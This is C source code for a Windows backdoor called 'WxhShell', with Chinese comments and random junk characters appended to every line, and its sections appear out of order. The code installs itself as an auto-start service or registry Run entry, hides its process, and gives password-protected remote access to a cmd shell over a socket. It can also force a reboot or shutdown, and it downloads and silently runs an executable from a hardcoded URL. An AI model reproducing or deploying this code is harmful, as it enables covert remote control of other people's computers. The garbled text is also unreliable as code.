    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R| XD#bG  
    if(Boot(SHUTDOWN)) -`5L;cxwk4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XI"IEwB  
    else { 4GS:kfti  
    closesocket(wsh); I>lblI$7  
    ExitThread(0); zICrp  
    } zb.sh  
    break; A @e!~  
    } Z9i~>k  
  // 获取shell e^v\K[  
  case 's': { cCcJOhk|d  
    CmdShell(wsh); j9.%(*  
    closesocket(wsh); iYGa4@/uM  
    ExitThread(0); r|y\FL  
    break; n<ecVFft  
  } E5\>mf ,;u  
  // 退出 k0 D):  
  case 'x': { B.~[m}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rdH^"(  
    CloseIt(wsh); 0Z{u;FI  
    break; DPfN*a-P(  
    } d}wE4(]b  
  // 离开 EjP)e;  
  case 'q': { .2y @@g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9H2mA$2jnE  
    closesocket(wsh); E,QD6<?[  
    WSACleanup(); AR c  
    exit(1); VUD9ZyPw  
    break; " s/ws  
        } _~;K]  
  } -i]2 b  
  } ? 8)k6:  
q[x|tO  
  // 提示信息 *r ('A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XII',&  
} rd,!-w5  
  } Rb0{W]opt+  
zr wzI+4  
  return; zuF]E+  
} sTvw@o *  
QN#tj$x  
// shell模块句柄 c/%GfB[w0  
int CmdShell(SOCKET sock) n{=Ot^ ";  
{ /< Dtu UM  
STARTUPINFO si; ?y,KN}s_  
ZeroMemory(&si,sizeof(si)); [_*?~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l0E]#ra"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A2.4#Qb'  
PROCESS_INFORMATION ProcessInfo; fsWPU]\)  
char cmdline[]="cmd"; 4D6LP*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kJ)Z{hy  
  return 0; Ob]J!.  
} ()<?^lr33  
#<es>~0!  
// 自身启动模式 me90|GOx+  
int StartFromService(void) oVd7ucnK  
{ iKv"200h(  
typedef struct azG"Mt |7Z  
{ b]*OGp4]5  
  DWORD ExitStatus; }\1IsK~P  
  DWORD PebBaseAddress; &td   
  DWORD AffinityMask; N w/it*f  
  DWORD BasePriority; -}RGz_LO/  
  ULONG UniqueProcessId; "om[S :ai  
  ULONG InheritedFromUniqueProcessId; 0iKAg  
}   PROCESS_BASIC_INFORMATION; !:v7SRUXb  
$Qxy@vU  
PROCNTQSIP NtQueryInformationProcess; HTSk40V  
H>%L@Btw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .&n! 4F'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hJ75(I *j  
kpMo7n  
  HANDLE             hProcess; #!P>." .  
  PROCESS_BASIC_INFORMATION pbi; (/ -90u  
sYB2{w   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Dn`  
  if(NULL == hInst ) return 0; z~ua#(z1S  
V14+?L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PgsG*5WQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2_TFc2d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k&npC8oA  
3;AJp_;  
  if (!NtQueryInformationProcess) return 0; I~nz~U:ak  
Lzx2An@R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  }- wK  
  if(!hProcess) return 0; i;\n\p1  
BadnL<cj]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LtV,djk  
2"WP>>b80  
  CloseHandle(hProcess); ER;\Aes*?  
@Thrizh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q'YakEv >=  
if(hProcess==NULL) return 0; hfg ^z5  
 u5Mg  
HMODULE hMod; SeLFubs_  
char procName[255]; T/:6Z  
unsigned long cbNeeded; H(Y1%@  
T=CJUla  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %eGI]!vf  
c GyBml1  
  CloseHandle(hProcess); FM|3'a-z  
Zh_3ydMD1  
if(strstr(procName,"services")) return 1; // 以服务启动 gL`aLg_  
/x\~ 5cC  
  return 0; // 注册表启动 V5gr-^E  
} _>_ "cKS  
6NQ`IC  
// 主模块 G[n;%c~`+  
int StartWxhshell(LPSTR lpCmdLine) )_}xK={  
{ f/"IC;<~t>  
  SOCKET wsl; FytGg[#]  
BOOL val=TRUE; 2 ]n4)vv,  
  int port=0; +`!>lo{X  
  struct sockaddr_in door; j|{ n?  
ULO_?4}B  
  if(wscfg.ws_autoins) Install(); _>3#dk  
$"va8,  
port=atoi(lpCmdLine); *;Z a))  
uUe#+[bD  
if(port<=0) port=wscfg.ws_port; A o@WTs9  
x@D> JG  
  WSADATA data; "BIhd*K[~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gUYTVp Vf  
)~IOsTjI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \Qq YH^M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X]dN1/_  
  door.sin_family = AF_INET; ""IPaNHQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w=^~M[%w  
  door.sin_port = htons(port); )( pgJLW  
L]l?_#*x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s.a@uR^  
closesocket(wsl); HcrlcxwM\i  
return 1; 4\j1+&W   
} 1B$8<NCQ=?  
mRN[l j  
  if(listen(wsl,2) == INVALID_SOCKET) { tg<bVA)E'J  
closesocket(wsl); [}4\CWM  
return 1; l-5O5|C  
} ($ gmN 4  
  Wxhshell(wsl); cfy9wD  
  WSACleanup(); (%G>TV  
m8INgzVTC  
return 0; - %?> 1n  
C#P>3"  
} v~0lZe  
=w<iYO  
// 以NT服务方式启动 ,V''?@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u++a0>N  
{ #A:^XAU1Z@  
DWORD   status = 0; F4:5 >*:  
  DWORD   specificError = 0xfffffff; *2/6fhI[p  
=FM rVE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z7 ++c<|p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b,47 EJ}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3TN'1D ei  
  serviceStatus.dwWin32ExitCode     = 0; Jg$ NYs.xZ  
  serviceStatus.dwServiceSpecificExitCode = 0; Q+'fTmT[,  
  serviceStatus.dwCheckPoint       = 0; nYO$ |/e  
  serviceStatus.dwWaitHint       = 0; -6^Ee?"  
ony;U#^T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pP%+@;  
  if (hServiceStatusHandle==0) return; g_eR&kuh  
?P}) Qa  
status = GetLastError(); X>Z83qV5d!  
  if (status!=NO_ERROR) I*pFX0+  
{ Z/;hbbG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?.ofs}  
    serviceStatus.dwCheckPoint       = 0; ;zSV~G6-  
    serviceStatus.dwWaitHint       = 0; ebLt:gGo  
    serviceStatus.dwWin32ExitCode     = status; )iZhE"?z  
    serviceStatus.dwServiceSpecificExitCode = specificError; zLPCWP.u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )i:"cyoE  
    return; y,c \'}*H  
  } ZIc-^&`r=  
g^U-^ f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]SN5 &S  
  serviceStatus.dwCheckPoint       = 0; K3&k+~$  
  serviceStatus.dwWaitHint       = 0; 8jiBLZkRf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k8cR`5 @PK  
} swMR+F#u*  
S<5.}cR  
// 处理NT服务事件,比如:启动、停止  h}}7_I9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -:wV3D  
{ Vkqfs4t  
switch(fdwControl) \2Kl]G(w%y  
{ aw7pr464  
case SERVICE_CONTROL_STOP: xX~m Fz0C  
  serviceStatus.dwWin32ExitCode = 0; 5oOs.(m|*C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tq*{Hil>P`  
  serviceStatus.dwCheckPoint   = 0; ]ed7Q3lq  
  serviceStatus.dwWaitHint     = 0; [?da BXS  
  { :ra[e(l9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `g{eWY1l  
  } [Uj,, y.wB  
  return; YL[y3&K  
case SERVICE_CONTROL_PAUSE: <4^y7]] F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u%Z4 8wr  
  break; aZmbt,.V  
case SERVICE_CONTROL_CONTINUE: K%SfTA1TCB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D:(h^R0;  
  break; @s\}ER3  
case SERVICE_CONTROL_INTERROGATE: =4Jg6JKYg  
  break; 2O2d*Ld>  
}; rNgAzH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~\zIb/ #  
} _b &Aa%  
zeH=py[n  
// 标准应用程序主函数 fJi?~[5<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .o8pC  
{ 0b2;  
XLm@, A[  
// 获取操作系统版本 s ZokiFJ  
OsIsNt=GetOsVer(); ^AO2%09.S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xCMuq9zt@  
C+gu'hD  
  // 从命令行安装 l_(4CimOZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); |D8c=c%  
g$8a B{)  
  // 下载执行文件 "azrcC  
if(wscfg.ws_downexe) { "||G`%aO+t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z3iX^  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;;LiZlf  
} aQ)g7C  
~>}7+p ?;  
if(!OsIsNt) { Ll^9,G"Tt  
// 如果时win9x,隐藏进程并且设置为注册表启动 <a2Kc '  
HideProc(); PU\@^)$  
StartWxhshell(lpCmdLine); 1$"wN z  
} O[ ^zQA  
else MO79FNH2\  
  if(StartFromService()) %5 <t3 H"  
  // 以服务方式启动 2f 9%HX(5  
  StartServiceCtrlDispatcher(DispatchTable); L/O:V^1  
else 1:"ZS ]i  
  // 普通方式启动  TJb&f<  
  StartWxhshell(lpCmdLine); 4_\]zhS  
vpk~,D07yR  
return 0; 2V*<J:;wb  
} cp+eh  
M]e _@:!  
l,Ixz1S3e  
p*=9Ea:  
=========================================== 23`pog{n  
yy\d<-X~  
6EG`0h6  
x 0L,$Ol  
 u8[jD^  
{>#4{D00  
" GZ"J6/0-|  
sT"{ e7;F;  
#include <stdio.h> N_E :?Jo  
#include <string.h> {7FD-Q[tS  
#include <windows.h> ~Q 1%DV.  
#include <winsock2.h> ;p)fW/<  
#include <winsvc.h> [kZe6gYP&  
#include <urlmon.h> }-M% $ ~`  
1Q9e S&  
#pragma comment (lib, "Ws2_32.lib") 79MB_Is]s  
#pragma comment (lib, "urlmon.lib") D5 ^WiQ<  
%C*h/AW)'  
#define MAX_USER   100 // 最大客户端连接数 $qhVow5~  
#define BUF_SOCK   200 // sock buffer p"J\+R  
#define KEY_BUFF   255 // 输入 buffer .{k^ tf4  
Xdc>Z\0V  
#define REBOOT     0   // 重启 3 jay V  
#define SHUTDOWN   1   // 关机 ?I#zcD)w  
`LVX|l62  
#define DEF_PORT   5000 // 监听端口 FYeUz$/  
*:V"C\`^n  
#define REG_LEN     16   // 注册表键长度 aAkO>X%[  
#define SVC_LEN     80   // NT服务名长度 1He'\/#  
RIxGwMi%  
// 从dll定义API @Tf5YZ*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jo=,j/,l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {2%@I~US  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _{'HY+M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G(y@Tor+  
xBMhk9b^0  
// wxhshell配置信息 ?gOZY\[ma  
struct WSCFG { .e%B'  
  int ws_port;         // 监听端口 U}<;4Px]7v  
  char ws_passstr[REG_LEN]; // 口令 $`/J V?Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no :ug j+  
  char ws_regname[REG_LEN]; // 注册表键名 >=Un=Q%  
  char ws_svcname[REG_LEN]; // 服务名 g\ p;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eVbaxL!Q^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X2p9KC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tr\}lfK%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l=< :  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" > 9wEx[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fdTyY ;  
t5pf4M7  
}; ~4+=C\r  
{EGm6WSQ^  
// default Wxhshell configuration uia-w^F e  
struct WSCFG wscfg={DEF_PORT, &/A?*2  
    "xuhuanlingzhe", n,NKJt  
    1, *.0#cP7 "  
    "Wxhshell", ^+ +ec>  
    "Wxhshell", q#N8IUN}4  
            "WxhShell Service", 3?GEXO&,E  
    "Wrsky Windows CmdShell Service", -kd_gbnr3  
    "Please Input Your Password: ", p<3^= 8Y$  
  1, j5;eSL@ /  
  "http://www.wrsky.com/wxhshell.exe", K"r'w8  P  
  "Wxhshell.exe" }x1*4+Y1  
    }; htGk:  
y2eeE CS]  
// 消息定义模块 Awad!_VdHS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cC6W1K!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C.$`HGv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C0F#PXU y  
char *msg_ws_ext="\n\rExit."; <<P& MObqj  
char *msg_ws_end="\n\rQuit."; "b"Q0"w  
char *msg_ws_boot="\n\rReboot..."; 0SBiMTm  
char *msg_ws_poff="\n\rShutdown..."; g^DPb pWxu  
char *msg_ws_down="\n\rSave to "; /a$RJ6t&3  
wg[D*a  
char *msg_ws_err="\n\rErr!"; X} v]iX  
char *msg_ws_ok="\n\rOK!"; +<P%v k  
2*K _RMr~  
char ExeFile[MAX_PATH]; PuhFbgxy  
int nUser = 0; ^w XXx=Xf  
HANDLE handles[MAX_USER]; ,#42ebGHR  
int OsIsNt; @iwg`j6ol  
:8bz+3p  
SERVICE_STATUS       serviceStatus; NQ@."8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RvF6bIqo  
J34lu{'if  
// 函数声明 +SSF=]4+  
int Install(void); 9ci=]C5o3K  
int Uninstall(void); 5h^U ]Y#  
int DownloadFile(char *sURL, SOCKET wsh); MNKB4C8 >  
int Boot(int flag); l1\/ `  
void HideProc(void); -$4#eG%3  
int GetOsVer(void); PXk+Vi,%k  
int Wxhshell(SOCKET wsl); "1H?1"w~  
void TalkWithClient(void *cs); nkp!kqJ09  
int CmdShell(SOCKET sock); (:>: tcE  
int StartFromService(void); ||&EmH  
int StartWxhshell(LPSTR lpCmdLine); E,nC}f  
7)NQK9~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q8 ;WHfGf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); . 4"9o%  
NGlX%j4j  
// 数据结构和表定义 AoEG%nT  
SERVICE_TABLE_ENTRY DispatchTable[] = ]3C&l+m$ot  
{ X'Dg= |  
{wscfg.ws_svcname, NTServiceMain}, EF?@f{YY$n  
{NULL, NULL} EwcN$Ma  
}; 4w:_4qyb  
UJ_E&7,L  
// 自我安装 HKk;oG  
int Install(void) eGS1% [  
{ MH`H[2<\!,  
  char svExeFile[MAX_PATH]; 0SXWt? }  
  HKEY key; hgCeU+H  
  strcpy(svExeFile,ExeFile); 0.-2FHc9L  
J}qk:xGL  
// 如果是win9x系统,修改注册表设为自启动 ?3"bu$@8  
if(!OsIsNt) { aU3 m{pE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Kw4K#IqQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2bS)|#v<_t  
  RegCloseKey(key); fo$iV;x`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,o}!pQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fMn7E8.  
  RegCloseKey(key); z F'{{7o  
  return 0; -bK#&o,  
    } h:3`e`J<h  
  } HPAd@5d(  
} ) w.cCDL c  
else { N?H;fK4v  
/I3#WUc;![  
// 如果是NT以上系统,安装为系统服务 MC!K7ji  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4Wq{ch  
if (schSCManager!=0) `Njv#K} U  
{ !Jw   
  SC_HANDLE schService = CreateService Yz0ruhEMk  
  ( !Re/W ykY  
  schSCManager, ,>n 4 `A  
  wscfg.ws_svcname, z)'dDM D"  
  wscfg.ws_svcdisp, q#-szZQ  
  SERVICE_ALL_ACCESS, \. A~>=:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tnz BNW8  
  SERVICE_AUTO_START, nJF"[w,?  
  SERVICE_ERROR_NORMAL, : 2?J#/o  
  svExeFile, inavi5.  
  NULL, 9)Y]05us  
  NULL, }> k9]Y  
  NULL, 3_2(L"S2  
  NULL, ,8g~,tMr+  
  NULL XB-pOtVm  
  ); zPU& }7  
  if (schService!=0) e@s+]a8D-k  
  { 6I(y`pJ  
  CloseServiceHandle(schService); Zr_{Z@IpU  
  CloseServiceHandle(schSCManager); MI|DOp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C_?L$3 U0  
  strcat(svExeFile,wscfg.ws_svcname); ]`&EB~K&NY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *A`hKx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ho2o/>Ef3  
  RegCloseKey(key); Z.$ncP0s  
  return 0;  &(\z  
    } 3=1aMQ  
  } }`4o+  
  CloseServiceHandle(schSCManager); o|Obl@CSBD  
} mCe,(/>l+  
} )'xTDi  
_d&zHlc_  
return 1; 1`2n<qo  
} S5E mLgnRs  
i)P.Omr  
// 自我卸载 Deq~"  
int Uninstall(void) A?q[C4-BO,  
{ A0yRA+  
  HKEY key; }%[TJ@R;  
vV-ATIf ^  
if(!OsIsNt) { m1=3@>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L 4'@f  
  RegDeleteValue(key,wscfg.ws_regname); <0vQHND,3  
  RegCloseKey(key); `f}c 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9ulJZ\cQ  
  RegDeleteValue(key,wscfg.ws_regname); 9j:t}HV  
  RegCloseKey(key); <wxI>T}b  
  return 0; @D-l_[  
  } H=z@!rJc.  
}  mQBq-;  
} 3Ec5:Caz  
else { Q3\j4;jI(  
XRKL;|cd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gpsEN(.w  
if (schSCManager!=0) too=+'<N</  
{ RyC]4 QyC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w"bQxS~$y  
  if (schService!=0) gQgG_&xkC  
  { g4P059  
  if(DeleteService(schService)!=0) { <P ~+H>;  
  CloseServiceHandle(schService); e//28=OH  
  CloseServiceHandle(schSCManager); 7NRq5d(lP  
  return 0; _(3VzI'G  
  } qiiX49}{  
  CloseServiceHandle(schService); ($' rV!}  
  } -]R7[5C:  
  CloseServiceHandle(schSCManager); RS#)uC5/%  
} 0O+s3#"?@  
} b~  
q/Ba#?sen  
return 1; MftW^7W-  
} {bl&r?[y  
^6mlE+WY  
// 从指定url下载文件 6DD^h:*>  
int DownloadFile(char *sURL, SOCKET wsh) 2BBGJE  
{ <g5Bt wo%  
  HRESULT hr; *Eu ca~%=  
char seps[]= "/"; ,<%Y.x%4z[  
char *token; ` #A&v  
char *file; 3 zp)!QJi  
char myURL[MAX_PATH]; `UMv#-Y8  
char myFILE[MAX_PATH]; g4&zBn  
X3#|9  
strcpy(myURL,sURL); 1j# ~:=I  
  token=strtok(myURL,seps); Lg[*P8wE  
  while(token!=NULL) Zaf].R  
  { >5#`j+8=q  
    file=token; Il%LI   
  token=strtok(NULL,seps); NwoBM6 #  
  } ++F #Z(p  
7m{ 'V`F  
GetCurrentDirectory(MAX_PATH,myFILE); gfw,S;  
strcat(myFILE, "\\"); dY68wW>d|  
strcat(myFILE, file); "3LOL/7f  
  send(wsh,myFILE,strlen(myFILE),0); Xz4!#,z/  
send(wsh,"...",3,0); W*e6F?G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !m^;Apuy  
  if(hr==S_OK) 5Az=)q4Q  
return 0; <33[qt~  
else ^E8&!s  
return 1; oU% rP  
.%<oy"_  
} X{P_HCd  
ez&v"J  
// 系统电源模块 Kjc"K36{L  
int Boot(int flag) \$T  
{ )TFaG[tj  
  HANDLE hToken; VZ'[\3J  
  TOKEN_PRIVILEGES tkp; oh-Y  
8n?qm96  
  if(OsIsNt) { _-x|g~pV*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }RYr)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Zk"'x,]#  
    tkp.PrivilegeCount = 1; dE^:-t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {=PO`1H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )&+j#:  
if(flag==REBOOT) { thDQ44<#)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s[NkPh9&  
  return 0; kjfZ*V=-  
} 2aX|E4F  
else { #Z)e]4{!l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m{x[q  
  return 0; RZ:Yu  
} Bab`wfUve  
  } Mg W0 ).  
  else { =LDzZ:' X  
if(flag==REBOOT) { @ U'g}K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G`9Ud  
  return 0; *?Nrx=O*  
} 9Iq[@v  
else { *r@7:a5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b4ZZyw  
  return 0; 8s-y+M@.  
}  msM  
} 7/a[;`i*!  
S3EY9:^ C  
return 1; _?M34&.X  
} 6x)7=_:0  
P{i\x#  
// win9x进程隐藏模块 M' e<\wqm  
void HideProc(void) m.pB]yq&  
{ jB!p,fqcb  
%B}Q.'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~ P"@^cq  
  if ( hKernel != NULL ) 6O bB/*h  
  { {mrTpw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;e4 15T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9+ nB;vA  
    FreeLibrary(hKernel); Ci4`,  
  } VdjS\VYe,  
H=9kDP${  
return; ExeD3Zj  
} F&%@p&  
ztTj2M"  
// 获取操作系统版本 ]W~\%`#8?  
int GetOsVer(void) :JH#*5%gQ:  
{ de1cl<  
  OSVERSIONINFO winfo; Ck d@|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p:Ry F4{b2  
  GetVersionEx(&winfo); ayfR{RYi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~7+7{9g  
  return 1; GPz0qK  
  else "3.v(GVr  
  return 0; kd)Q$RA(  
} >lQ@" U  
c[J?`8  
// 客户端句柄模块 gI "ZhYI  
int Wxhshell(SOCKET wsl) 0^$L{V  
{ c.dk4v%Y5  
  SOCKET wsh; :7UC=GKQk  
  struct sockaddr_in client; \@;$xdA$  
  DWORD myID; 45. -P  
(hNTr(z  
  while(nUser<MAX_USER) `qnp   
{ G d~ v _  
  int nSize=sizeof(client); e+6mbJ7y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pFgpAxl  
  if(wsh==INVALID_SOCKET) return 1; "BT*9N=|  
_HF66)X7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |a4cER.'2^  
if(handles[nUser]==0) CX?q%o2b  
  closesocket(wsh); 3 9to5 s,  
else 6D|[3rXr  
  nUser++; pMB!I9q  
  } L#O1 >  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hb#Nm6  
LvtHWt  
  return 0; U{i xok  
} /Cy4]1dw  
SW5V:|/  
// 关闭 socket 2 j.6  
void CloseIt(SOCKET wsh) 2t 6m#  
{ DmU,}]#:  
closesocket(wsh); >RJjm&M  
nUser--; 7irpD7P>  
ExitThread(0); -fpe  
} WoM;)Q  
-]el_:H  
// 客户端请求句柄 E|{(O  
void TalkWithClient(void *cs) %"-bG'Yc  
{ 9<n2-l|)  
Ln:6@Ok)5%  
  SOCKET wsh=(SOCKET)cs; $inlI_  
  char pwd[SVC_LEN]; fwQVxJe  
  char cmd[KEY_BUFF]; 5.ibH  
char chr[1]; ,]`|2j  
int i,j; ~_Q~AOFM  
$mxm?7ZVR  
  while (nUser < MAX_USER) { `#HtVI  
L$L/5/  
if(wscfg.ws_passstr) { G0#<SJ,)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;)~}/nR<a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <*JFY%y "  
  //ZeroMemory(pwd,KEY_BUFF); YP E1s  
      i=0; "5<:Dj/W  
  while(i<SVC_LEN) { ( jACLo  
GuK3EM*_  
  // 设置超时 !/nXEjW?  
  fd_set FdRead; (4o<U%3kGq  
  struct timeval TimeOut; u7&q(Z&&O  
  FD_ZERO(&FdRead); 'Qdea$o  
  FD_SET(wsh,&FdRead); yY[9\!  
  TimeOut.tv_sec=8; $%BI8_  
  TimeOut.tv_usec=0; <W] RyEg`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o|:c{pwq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n%|og^\0  
PRJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %k%%3L,  
  pwd=chr[0]; u mT *  
  if(chr[0]==0xd || chr[0]==0xa) { 9|D*}OY>  
  pwd=0; e5RF6roxO  
  break; I(<9e"1O  
  } Az7 ] qb  
  i++; X)e#=w!fi3  
    } O22Q g  
e ,kxg^  
  // 如果是非法用户,关闭 socket 6ChFsteGFr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r7)qr%n  
} s\+| ql  
mT:NC'b<9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GP>\3@>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;b{yu|  
kEgpF{"%n  
while(1) { NSawD.9mV  
pfBe24q  
  ZeroMemory(cmd,KEY_BUFF); rjffpU  
[Dhqyjq  
      // 自动支持客户端 telnet标准   CvHE7H|-{  
  j=0; fmq''1u  
  while(j<KEY_BUFF) { )J*M{Gm6i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H*j!_>W  
  cmd[j]=chr[0]; C@`rg ILc  
  if(chr[0]==0xa || chr[0]==0xd) { <Y]e  
  cmd[j]=0; "uli~ {IU  
  break; 7s0\`eXo/  
  } =cpUc]~  
  j++; },n?  
    } Xh}S_/9}5  
lZAXDxhnT  
  // 下载文件 =oBlUE  
  if(strstr(cmd,"http://")) { /#WvC;B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V7b;qC'  
  if(DownloadFile(cmd,wsh)) Rk,'ujc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); beaSvhPU  
  else ({ O~O5k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C}#$wge  
  } 3eg6 CdT  
  else { ^T:L6:  
ph}%Ay$  
    switch(cmd[0]) { Sn S$5o  
